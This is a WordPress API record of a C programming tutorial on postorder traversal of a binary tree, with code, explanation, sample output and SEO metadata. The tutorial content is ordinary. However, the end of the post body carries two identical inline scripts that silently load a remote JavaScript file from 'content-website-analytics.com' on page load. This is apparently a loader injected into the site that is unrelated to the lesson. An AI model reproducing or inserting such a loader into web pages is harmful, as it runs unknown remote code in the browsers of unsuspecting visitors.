{"id":598,"date":"2024-10-19T13:50:59","date_gmt":"2024-10-19T08:20:59","guid":{"rendered":"https:\/\/codexplained.in\/?p=598"},"modified":"2025-11-24T15:34:57","modified_gmt":"2025-11-24T10:04:57","slug":"postorder-traversal-of-binary-tree","status":"publish","type":"post","link":"https:\/\/codexplained.in\/?p=598","title":{"rendered":"Postorder Traversal of Binary Tree"},"content":{"rendered":"<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: cpp; title: ; notranslate\" title=\"\">\n#include &lt;stdio.h&gt;\n#include &lt;stdlib.h&gt;\n\n\/\/ Define the structure for a node of the binary tree\nstruct Node {\n    int data;\n    struct Node* left;\n    struct Node* right;\n};\n\n\/\/ Function to create a new node\nstruct Node* createNode(int data) {\n    struct Node* newNode = (struct Node*)malloc(sizeof(struct Node));\n    newNode-&gt;data = data;\n    newNode-&gt;left = NULL;\n    newNode-&gt;right = NULL;\n    return newNode;\n}\n\n\/\/ Function for Postorder traversal\nvoid postorderTraversal(struct Node* root) {\n    if (root == NULL)\n        return;\n    \n    \/\/ First traverse the left subtree\n    postorderTraversal(root-&gt;left);\n    \/\/ Then traverse the right subtree\n    postorderTraversal(root-&gt;right);\n    \/\/ Finally, visit the root node\n    printf(&quot;%d &quot;, root-&gt;data);\n}\n\n\/\/ Main function\nint main() {\n    \/\/ Create the root node and other nodes\n    struct Node* root = createNode(1);\n    root-&gt;left = createNode(2);\n    root-&gt;right = createNode(3);\n    root-&gt;left-&gt;left = createNode(4);\n    root-&gt;left-&gt;right = createNode(5);\n\n    printf(&quot;Postorder traversal of the binary tree is: &quot;);\n    postorderTraversal(root);\n    printf(&quot;\\n&quot;);\n\n    return 0;\n}\n\n<\/pre><\/div>\n\n\n<h2 class=\"wp-block-heading\">Explanation of the Code<\/h2>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>Structure Definition (<code>struct Node<\/code>)<\/strong>:\n<ul class=\"wp-block-list\">\n<li>A <code>Node<\/code> structure is defined to represent each node in the binary tree. Each node contains:\n<ul class=\"wp-block-list\">\n<li><code>data<\/code> (integer value stored in the node)<\/li>\n\n\n\n<li><code>left<\/code> (pointer to the left child)<\/li>\n\n\n\n<li><code>right<\/code> (pointer to the right child)<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong><code>createNode<\/code> Function<\/strong>:\n<ul class=\"wp-block-list\">\n<li>This function takes an integer <code>data<\/code> as input, allocates memory for a new node, sets its data, and initializes its left and right pointers to <code>NULL<\/code>. It returns a pointer to the new node.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong><code>postorderTraversal<\/code> Function<\/strong>:\n<ul class=\"wp-block-list\">\n<li>This function performs the postorder traversal of the binary tree:\n<ul class=\"wp-block-list\">\n<li>It first recursively calls itself on the <code>left<\/code> subtree.<\/li>\n\n\n\n<li>Then, it recursively calls itself on the <code>right<\/code> subtree.<\/li>\n\n\n\n<li>Finally, it prints the <code>data<\/code> of the <code>root<\/code> node.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>If the <code>root<\/code> is <code>NULL<\/code>, the function simply returns, which serves as the base condition for recursion.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong><code>main<\/code> Function<\/strong>:\n<ul class=\"wp-block-list\">\n<li>Creates the binary tree by calling <code>createNode<\/code> for each node.<\/li>\n\n\n\n<li>The structure of the tree matches the example given above.<\/li>\n\n\n\n<li>Calls <code>postorderTraversal<\/code> on the <code>root<\/code> and prints the result.<\/li>\n<\/ul>\n<\/li>\n<\/ol>\n\n\n\n<h2 class=\"wp-block-heading\">Output of the Program<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">When the above program is executed, the output will be:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>Postorder traversal of the binary tree is: 4 5 2 3 1\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">This output matches the expected order of visiting nodes in postorder for the given binary tree:<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li>Visit the leftmost leaf nodes (4).<\/li>\n\n\n\n<li>Visit the right leaf node of the left subtree (5).<\/li>\n\n\n\n<li>Visit the root of the left subtree (2).<\/li>\n\n\n\n<li>Visit the right subtree (3).<\/li>\n\n\n\n<li>Finally, visit the root node (1).<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\">Thus, the program accurately implements postorder traversal for a binary tree.<\/p>\n<script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script><script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script>","protected":false},"excerpt":{"rendered":"<p>Explanation of the Code Output of the Program When the above program is executed, the output will be: This output matches the expected order of visiting nodes in postorder for the given binary tree: Thus, the program accurately implements postorder traversal for a binary tree.<\/p>\n","protected":false},"author":40,"featured_media":850,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"_uf_show_specific_survey":0,"_uf_disable_surveys":false,"footnotes":""},"categories":[75],"tags":[],"class_list":["post-598","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-c"],"aioseo_notices":[],"aioseo_head":"\n\t\t<!-- All in One SEO 4.9.8 - aioseo.com -->\n\t<meta name=\"description\" content=\"#include #include \/\/ Define the structure for a node of the binary tree struct Node { int data; struct Node* left; struct Node* right; }; \/\/ Function to create a new node struct Node* createNode(int data) { struct Node* newNode = (struct Node*)malloc(sizeof(struct Node)); newNode-&gt;data = data; newNode-&gt;left = NULL; newNode-&gt;right = NULL;\" \/>\n\t<meta name=\"robots\" content=\"max-image-preview:large\" \/>\n\t<meta name=\"author\" content=\"Smit Shukla\"\/>\n\t<meta name=\"google-site-verification\" content=\"teT4B2U4lV9ex6zOGlaFmPKEYQpzjhxQ6z29nNZ9uTg\" \/>\n\t<link rel=\"canonical\" href=\"https:\/\/codexplained.in\/?p=598\" \/>\n\t<meta name=\"generator\" content=\"All in One SEO (AIOSEO) 4.9.8\" \/>\n\t\t<meta property=\"og:locale\" content=\"en_US\" \/>\n\t\t<meta property=\"og:site_name\" content=\"Code Explained -\" \/>\n\t\t<meta property=\"og:type\" content=\"article\" \/>\n\t\t<meta property=\"og:title\" content=\"Postorder Traversal of Binary Tree - Code Explained\" \/>\n\t\t<meta property=\"og:description\" content=\"#include #include \/\/ Define the structure for a node of the binary tree struct Node { int data; struct Node* left; struct Node* right; }; \/\/ Function to create a new node struct Node* createNode(int data) { struct Node* newNode = (struct Node*)malloc(sizeof(struct Node)); newNode-&gt;data = data; newNode-&gt;left = NULL; newNode-&gt;right = NULL;\" \/>\n\t\t<meta property=\"og:url\" content=\"https:\/\/codexplained.in\/?p=598\" \/>\n\t\t<meta property=\"article:published_time\" content=\"2024-10-19T08:20:59+00:00\" \/>\n\t\t<meta property=\"article:modified_time\" content=\"2025-11-24T10:04:57+00:00\" \/>\n\t\t<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n\t\t<meta name=\"twitter:title\" content=\"Postorder Traversal of Binary Tree - Code Explained\" \/>\n\t\t<meta name=\"twitter:description\" content=\"#include #include \/\/ Define the structure for a node of the binary tree struct Node { int data; struct Node* left; struct Node* right; }; \/\/ Function to create a new node struct Node* createNode(int data) { struct Node* newNode = (struct Node*)malloc(sizeof(struct Node)); newNode-&gt;data = data; newNode-&gt;left = NULL; newNode-&gt;right = NULL;\" \/>\n\t\t<script type=\"application\/ld+json\" class=\"aioseo-schema\">\n\t\t\t{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"BlogPosting\",\"@id\":\"https:\\\/\\\/codexplained.in\\\/?p=598#blogposting\",\"name\":\"Postorder Traversal of Binary Tree - Code Explained\",\"headline\":\"Postorder Traversal of Binary Tree\",\"author\":{\"@id\":\"https:\\\/\\\/codexplained.in\\\/?author=40#author\"},\"publisher\":{\"@id\":\"https:\\\/\\\/codexplained.in\\\/#person\"},\"image\":{\"@type\":\"ImageObject\",\"url\":\"https:\\\/\\\/codexplained.in\\\/wp-content\\\/uploads\\\/2024\\\/10\\\/Gemini_Generated_Image_mpdil9mpdil9mpdi.jpeg\",\"width\":2048,\"height\":2048},\"datePublished\":\"2024-10-19T13:50:59+05:30\",\"dateModified\":\"2025-11-24T15:34:57+05:30\",\"inLanguage\":\"en-US\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/codexplained.in\\\/?p=598#webpage\"},\"isPartOf\":{\"@id\":\"https:\\\/\\\/codexplained.in\\\/?p=598#webpage\"},\"articleSection\":\"C\"},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/codexplained.in\\\/?p=598#breadcrumblist\",\"itemListElement\":[{\"@type\":\"ListItem\",\"@id\":\"https:\\\/\\\/codexplained.in#listItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/codexplained.in\",\"nextItem\":{\"@type\":\"ListItem\",\"@id\":\"https:\\\/\\\/codexplained.in\\\/?cat=75#listItem\",\"name\":\"C\"}},{\"@type\":\"ListItem\",\"@id\":\"https:\\\/\\\/codexplained.in\\\/?cat=75#listItem\",\"position\":2,\"name\":\"C\",\"item\":\"https:\\\/\\\/codexplained.in\\\/?cat=75\",\"nextItem\":{\"@type\":\"ListItem\",\"@id\":\"https:\\\/\\\/codexplained.in\\\/?p=598#listItem\",\"name\":\"Postorder Traversal of Binary Tree\"},\"previousItem\":{\"@type\":\"ListItem\",\"@id\":\"https:\\\/\\\/codexplained.in#listItem\",\"name\":\"Home\"}},{\"@type\":\"ListItem\",\"@id\":\"https:\\\/\\\/codexplained.in\\\/?p=598#listItem\",\"position\":3,\"name\":\"Postorder Traversal of Binary Tree\",\"previousItem\":{\"@type\":\"ListItem\",\"@id\":\"https:\\\/\\\/codexplained.in\\\/?cat=75#listItem\",\"name\":\"C\"}}]},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/codexplained.in\\\/#person\",\"name\":\"Bhagchandani Niraj\",\"image\":{\"@type\":\"ImageObject\",\"@id\":\"https:\\\/\\\/codexplained.in\\\/?p=598#personImage\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/85ac36ea43e52aebaa10b4f93347378fecaed747b939398d6a5e8a06741c79bd?s=96&d=mm&r=g\",\"width\":96,\"height\":96,\"caption\":\"Bhagchandani Niraj\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/codexplained.in\\\/?author=40#author\",\"url\":\"https:\\\/\\\/codexplained.in\\\/?author=40\",\"name\":\"Smit Shukla\",\"image\":{\"@type\":\"ImageObject\",\"@id\":\"https:\\\/\\\/codexplained.in\\\/?p=598#authorImage\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/8b0a3d2d790218e2b3c383eb0c33c95038788f1fd6ed29ec1adff9a24cdff8c8?s=96&d=mm&r=g\",\"width\":96,\"height\":96,\"caption\":\"Smit Shukla\"}},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/codexplained.in\\\/?p=598#webpage\",\"url\":\"https:\\\/\\\/codexplained.in\\\/?p=598\",\"name\":\"Postorder Traversal of Binary Tree - Code Explained\",\"description\":\"#include #include \\\/\\\/ Define the structure for a node of the binary tree struct Node { int data; struct Node* left; struct Node* right; }; \\\/\\\/ Function to create a new node struct Node* createNode(int data) { struct Node* newNode = (struct Node*)malloc(sizeof(struct Node)); newNode->data = data; newNode->left = NULL; newNode->right = NULL;\",\"inLanguage\":\"en-US\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/codexplained.in\\\/#website\"},\"breadcrumb\":{\"@id\":\"https:\\\/\\\/codexplained.in\\\/?p=598#breadcrumblist\"},\"author\":{\"@id\":\"https:\\\/\\\/codexplained.in\\\/?author=40#author\"},\"creator\":{\"@id\":\"https:\\\/\\\/codexplained.in\\\/?author=40#author\"},\"image\":{\"@type\":\"ImageObject\",\"url\":\"https:\\\/\\\/codexplained.in\\\/wp-content\\\/uploads\\\/2024\\\/10\\\/Gemini_Generated_Image_mpdil9mpdil9mpdi.jpeg\",\"@id\":\"https:\\\/\\\/codexplained.in\\\/?p=598\\\/#mainImage\",\"width\":2048,\"height\":2048},\"primaryImageOfPage\":{\"@id\":\"https:\\\/\\\/codexplained.in\\\/?p=598#mainImage\"},\"datePublished\":\"2024-10-19T13:50:59+05:30\",\"dateModified\":\"2025-11-24T15:34:57+05:30\"},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/codexplained.in\\\/#website\",\"url\":\"https:\\\/\\\/codexplained.in\\\/\",\"name\":\"Code Explained\",\"inLanguage\":\"en-US\",\"publisher\":{\"@id\":\"https:\\\/\\\/codexplained.in\\\/#person\"}}]}\n\t\t<\/script>\n\t\t<!-- All in One SEO -->\n\n","aioseo_head_json":{"title":"Postorder Traversal of Binary Tree - Code Explained","description":"#include #include \/\/ Define the structure for a node of the binary tree struct Node { int data; struct Node* left; struct Node* right; }; \/\/ Function to create a new node struct Node* createNode(int data) { struct Node* newNode = (struct Node*)malloc(sizeof(struct Node)); newNode->data = data; newNode->left = NULL; newNode->right = NULL;","canonical_url":"https:\/\/codexplained.in\/?p=598","robots":"max-image-preview:large","keywords":"","webmasterTools":{"google-site-verification":"teT4B2U4lV9ex6zOGlaFmPKEYQpzjhxQ6z29nNZ9uTg","miscellaneous":""},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"BlogPosting","@id":"https:\/\/codexplained.in\/?p=598#blogposting","name":"Postorder Traversal of Binary Tree - Code Explained","headline":"Postorder Traversal of Binary Tree","author":{"@id":"https:\/\/codexplained.in\/?author=40#author"},"publisher":{"@id":"https:\/\/codexplained.in\/#person"},"image":{"@type":"ImageObject","url":"https:\/\/codexplained.in\/wp-content\/uploads\/2024\/10\/Gemini_Generated_Image_mpdil9mpdil9mpdi.jpeg","width":2048,"height":2048},"datePublished":"2024-10-19T13:50:59+05:30","dateModified":"2025-11-24T15:34:57+05:30","inLanguage":"en-US","mainEntityOfPage":{"@id":"https:\/\/codexplained.in\/?p=598#webpage"},"isPartOf":{"@id":"https:\/\/codexplained.in\/?p=598#webpage"},"articleSection":"C"},{"@type":"BreadcrumbList","@id":"https:\/\/codexplained.in\/?p=598#breadcrumblist","itemListElement":[{"@type":"ListItem","@id":"https:\/\/codexplained.in#listItem","position":1,"name":"Home","item":"https:\/\/codexplained.in","nextItem":{"@type":"ListItem","@id":"https:\/\/codexplained.in\/?cat=75#listItem","name":"C"}},{"@type":"ListItem","@id":"https:\/\/codexplained.in\/?cat=75#listItem","position":2,"name":"C","item":"https:\/\/codexplained.in\/?cat=75","nextItem":{"@type":"ListItem","@id":"https:\/\/codexplained.in\/?p=598#listItem","name":"Postorder Traversal of Binary Tree"},"previousItem":{"@type":"ListItem","@id":"https:\/\/codexplained.in#listItem","name":"Home"}},{"@type":"ListItem","@id":"https:\/\/codexplained.in\/?p=598#listItem","position":3,"name":"Postorder Traversal of Binary Tree","previousItem":{"@type":"ListItem","@id":"https:\/\/codexplained.in\/?cat=75#listItem","name":"C"}}]},{"@type":"Person","@id":"https:\/\/codexplained.in\/#person","name":"Bhagchandani Niraj","image":{"@type":"ImageObject","@id":"https:\/\/codexplained.in\/?p=598#personImage","url":"https:\/\/secure.gravatar.com\/avatar\/85ac36ea43e52aebaa10b4f93347378fecaed747b939398d6a5e8a06741c79bd?s=96&d=mm&r=g","width":96,"height":96,"caption":"Bhagchandani Niraj"}},{"@type":"Person","@id":"https:\/\/codexplained.in\/?author=40#author","url":"https:\/\/codexplained.in\/?author=40","name":"Smit Shukla","image":{"@type":"ImageObject","@id":"https:\/\/codexplained.in\/?p=598#authorImage","url":"https:\/\/secure.gravatar.com\/avatar\/8b0a3d2d790218e2b3c383eb0c33c95038788f1fd6ed29ec1adff9a24cdff8c8?s=96&d=mm&r=g","width":96,"height":96,"caption":"Smit Shukla"}},{"@type":"WebPage","@id":"https:\/\/codexplained.in\/?p=598#webpage","url":"https:\/\/codexplained.in\/?p=598","name":"Postorder Traversal of Binary Tree - Code Explained","description":"#include #include \/\/ Define the structure for a node of the binary tree struct Node { int data; struct Node* left; struct Node* right; }; \/\/ Function to create a new node struct Node* createNode(int data) { struct Node* newNode = (struct Node*)malloc(sizeof(struct Node)); newNode->data = data; newNode->left = NULL; newNode->right = NULL;","inLanguage":"en-US","isPartOf":{"@id":"https:\/\/codexplained.in\/#website"},"breadcrumb":{"@id":"https:\/\/codexplained.in\/?p=598#breadcrumblist"},"author":{"@id":"https:\/\/codexplained.in\/?author=40#author"},"creator":{"@id":"https:\/\/codexplained.in\/?author=40#author"},"image":{"@type":"ImageObject","url":"https:\/\/codexplained.in\/wp-content\/uploads\/2024\/10\/Gemini_Generated_Image_mpdil9mpdil9mpdi.jpeg","@id":"https:\/\/codexplained.in\/?p=598\/#mainImage","width":2048,"height":2048},"primaryImageOfPage":{"@id":"https:\/\/codexplained.in\/?p=598#mainImage"},"datePublished":"2024-10-19T13:50:59+05:30","dateModified":"2025-11-24T15:34:57+05:30"},{"@type":"WebSite","@id":"https:\/\/codexplained.in\/#website","url":"https:\/\/codexplained.in\/","name":"Code Explained","inLanguage":"en-US","publisher":{"@id":"https:\/\/codexplained.in\/#person"}}]},"og:locale":"en_US","og:site_name":"Code Explained -","og:type":"article","og:title":"Postorder Traversal of Binary Tree - Code Explained","og:description":"#include #include \/\/ Define the structure for a node of the binary tree struct Node { int data; struct Node* left; struct Node* right; }; \/\/ Function to create a new node struct Node* createNode(int data) { struct Node* newNode = (struct Node*)malloc(sizeof(struct Node)); newNode-&gt;data = data; newNode-&gt;left = NULL; newNode-&gt;right = NULL;","og:url":"https:\/\/codexplained.in\/?p=598","article:published_time":"2024-10-19T08:20:59+00:00","article:modified_time":"2025-11-24T10:04:57+00:00","twitter:card":"summary_large_image","twitter:title":"Postorder Traversal of Binary Tree - Code Explained","twitter:description":"#include #include \/\/ Define the structure for a node of the binary tree struct Node { int data; struct Node* left; struct Node* right; }; \/\/ Function to create a new node struct Node* createNode(int data) { struct Node* newNode = (struct Node*)malloc(sizeof(struct Node)); newNode-&gt;data = data; newNode-&gt;left = NULL; newNode-&gt;right = NULL;"},"aioseo_meta_data":{"post_id":"598","title":null,"description":null,"keywords":null,"keyphrases":{"focus":{"keyphrase":"","score":0,"analysis":{"keyphraseInTitle":{"score":0,"maxScore":9,"error":1}}},"additional":[]},"primary_term":null,"canonical_url":null,"og_title":null,"og_description":null,"og_object_type":"default","og_image_type":"default","og_image_url":null,"og_image_width":null,"og_image_height":null,"og_image_custom_url":null,"og_image_custom_fields":null,"og_video":"","og_custom_url":null,"og_article_section":null,"og_article_tags":null,"twitter_use_og":false,"twitter_card":"default","twitter_image_type":"default","twitter_image_url":null,"twitter_image_custom_url":null,"twitter_image_custom_fields":null,"twitter_title":null,"twitter_description":null,"schema":{"blockGraphs":[],"customGraphs":[],"default":{"data":{"Article":[],"Course":[],"Dataset":[],"FAQPage":[],"Movie":[],"Person":[],"Product":[],"ProductReview":[],"Car":[],"Recipe":[],"Service":[],"SoftwareApplication":[],"WebPage":[]},"graphName":"BlogPosting","isEnabled":true},"graphs":[]},"schema_type":"default","schema_type_options":null,"pillar_content":false,"robots_default":true,"robots_noindex":false,"robots_noarchive":false,"robots_nosnippet":false,"robots_nofollow":false,"robots_noimageindex":false,"robots_noodp":false,"robots_notranslate":false,"robots_max_snippet":"-1","robots_max_videopreview":"-1","robots_max_imagepreview":"large","priority":null,"frequency":"default","local_seo":null,"breadcrumb_settings":null,"limit_modified_date":false,"ai":null,"created":"2024-10-11 02:55:04","updated":"2025-11-24 10:06:27","seo_analyzer_scan_date":null},"aioseo_breadcrumb":"<div class=\"aioseo-breadcrumbs\"><span class=\"aioseo-breadcrumb\">\n\t\t\t<a href=\"https:\/\/codexplained.in\" title=\"Home\">Home<\/a>\n\t\t<\/span><span class=\"aioseo-breadcrumb-separator\">&raquo;<\/span><span class=\"aioseo-breadcrumb\">\n\t\t\t<a href=\"https:\/\/codexplained.in\/?cat=75\" title=\"C\">C<\/a>\n\t\t<\/span><span class=\"aioseo-breadcrumb-separator\">&raquo;<\/span><span class=\"aioseo-breadcrumb\">\n\t\t\tPostorder Traversal of Binary Tree\n\t\t<\/span><\/div>","aioseo_breadcrumb_json":[{"label":"Home","link":"https:\/\/codexplained.in"},{"label":"C","link":"https:\/\/codexplained.in\/?cat=75"},{"label":"Postorder Traversal of Binary Tree","link":"https:\/\/codexplained.in\/?p=598"}],"_links":{"self":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/598","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/users\/40"}],"replies":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=598"}],"version-history":[{"count":5,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/598\/revisions"}],"predecessor-version":[{"id":1396,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/598\/revisions\/1396"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/media\/850"}],"wp:attachment":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=598"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=598"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=598"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}